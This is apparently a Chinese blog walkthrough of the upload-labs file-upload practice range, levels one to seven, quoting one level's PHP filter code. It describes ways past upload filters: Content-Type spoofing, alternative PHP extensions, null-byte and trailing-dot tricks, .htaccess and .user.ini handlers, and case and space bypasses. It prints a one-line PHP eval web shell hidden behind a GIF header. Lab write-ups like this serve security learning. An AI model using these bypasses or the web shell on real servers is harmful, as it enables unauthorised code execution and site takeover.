本文主要是介绍upload通关,写下自己遗忘的理解~,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
第一关没什么好说的,前端验证直接过。
第二关(Content-Type头检测文件类型绕过)
我们先看一下它限制了什么
我们先看一下$_FILES数组
$_FILES数组内容如下:
$_FILES['myFile']['name'] 客户端文件的原名称。
$_FILES['myFile']['type'] 文件的 MIME 类型,需要浏览器提供该信息的支持,例如"image/gif"。
$_FILES['myFile']['size'] 已上传文件的大小,单位为字节。
$_FILES['myFile']['tmp_name'] 文件被上传后在服务端储存的临时文件名,一般是系统默认。可以在php.ini的upload_tmp_dir 指定,但 用 putenv() 函数设置是不起作用的。
$_FILES['myFile']['error'] 和该文件上传相关的错误代码。['error'] 是在 PHP 4.2.0 版本中增加的。下面是它的说明:(它们在PHP3.0以后成了常量)
也就是说文件类型Content-Type必须是image/jpeg,image/png,image/gif中的一个,那么很简单,抓包修改Content-Type类型为image/jpeg,image/png,image/gif随遍一个即可绕过。
第三关限制文件后缀
方法一黑名单绕过
它限制了不允许上传.asp,.aspx,.php,.jsp后缀文件!
并且全部转小写来防止大小写绕过。
那么我们可以使用php扩展来绕过上传
pht,phpt,phtml,php3,php4,php5,php6
并且这些扩展名也可以解析php
注意!
如果想要被当成php文件执行的话,Apache的httpd.conf有如下配置代码(靶场应该是配置好的,如果是本地复现,需要配置)
AddType application/x-httpd-php .php .phtml .phps .php5 .pht
如果是上传asp🐎可以使用
cer、asa、cdx等来绕过
方法二%00截断绕过(推荐)不受环境影响
第四关
方法一,代码审计绕过
所有漏洞的本质在源于开发者本身对代码的疏忽,那么我们进行白盒审计,绕过他的过滤即可。
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.'); //返回从点到结尾的所有字符$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //收尾去空if (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.$file_name;if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '此文件不允许上传!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}
?>
其实我们大概能看出来,他是选取先删去末尾的一个 . 然后防止点绕过。然后在选取点后面的字符串进行黑名单进行比较,最后筛选。
那么我们构造1.php. .来进行绕过,最后一个点来过deldot函数,倒数第二个点用来跟黑名单比较,最后绕过黑名单检测。
方法二,上传htaccess文件解析jpg文件
先上传一个.htaccess文件进行解析
内容如下,意思是把2.jpg文件当成php文件进行解析。
<FilesMatch "2.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
第五关
1.代码审计绕过
依然采取1.php. .绕过可打通
2.apach解析漏洞
那么什么是apache解析漏洞呢?
说句人话:
apache2解析漏洞 (存在于Apache1.x和Apache2.x)
将从右向左开始解析后缀, 直到遇到一个apache认识的后缀类型,就会以该类型进行解析:
我们来F12看一下我们的中间件是否符合规定
那么我们构造1.php.aaa进行测试
不知为何,我的不解析。。。。。
方法三 .user.ini绕过 适用范围(php版本5.5.38以上)
发现黑名单中并没有限制.user.ini文件。
我就谈一下自己的理解:(网上太多资料了,我用大白话来说一下)
我们需要准备三个文件,一个.user.ini,一个php文件,一个gif或者jpg都可以
因为在upload目录我们是知道有一个readme.php文件的,所以我们只需要上传两个.user.ini和gif文件
我来解释一下这是为什么
1.auto_prepend_file—-指定在每个PHP页面执行前所要执行的代码。
2.auto_append_file—-指定在每个PHP页面执行完成后所要执行的代码
我们可以这么理解,auto_prepend_file=1.gif相当于require(1.gif),相当于把1.gif包含,由于是在指定每个php页面前就要包含1.gif,所以我们访问readme.php时会先走1.gif里面的代码,并把它执行。
更普遍的情况,他会限制你上传.user.ini文件,那么我们就这样来
构造.user.ini文件
GIF89a
auto_prepend_file=a.jpg
然后构造一个a.jpg,内容如下:
GIF89a
<?php @eval($_POST['pass'])?>
通过头来绕过
利用条件
利用.user.ini文件条件:
1.服务器脚本语言为PHP
2.服务器使用CGI/FastCGI模式
3.上传目录下要有可执行的php文件
针对条件2,我们可以看这里
第6关
分析源代码
没有过滤大小写直接大小写绕过
抓包修改
1.PHP
第七关
没有过滤空格,空格绕过
这篇关于upload通关,写下自己遗忘的理解~的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!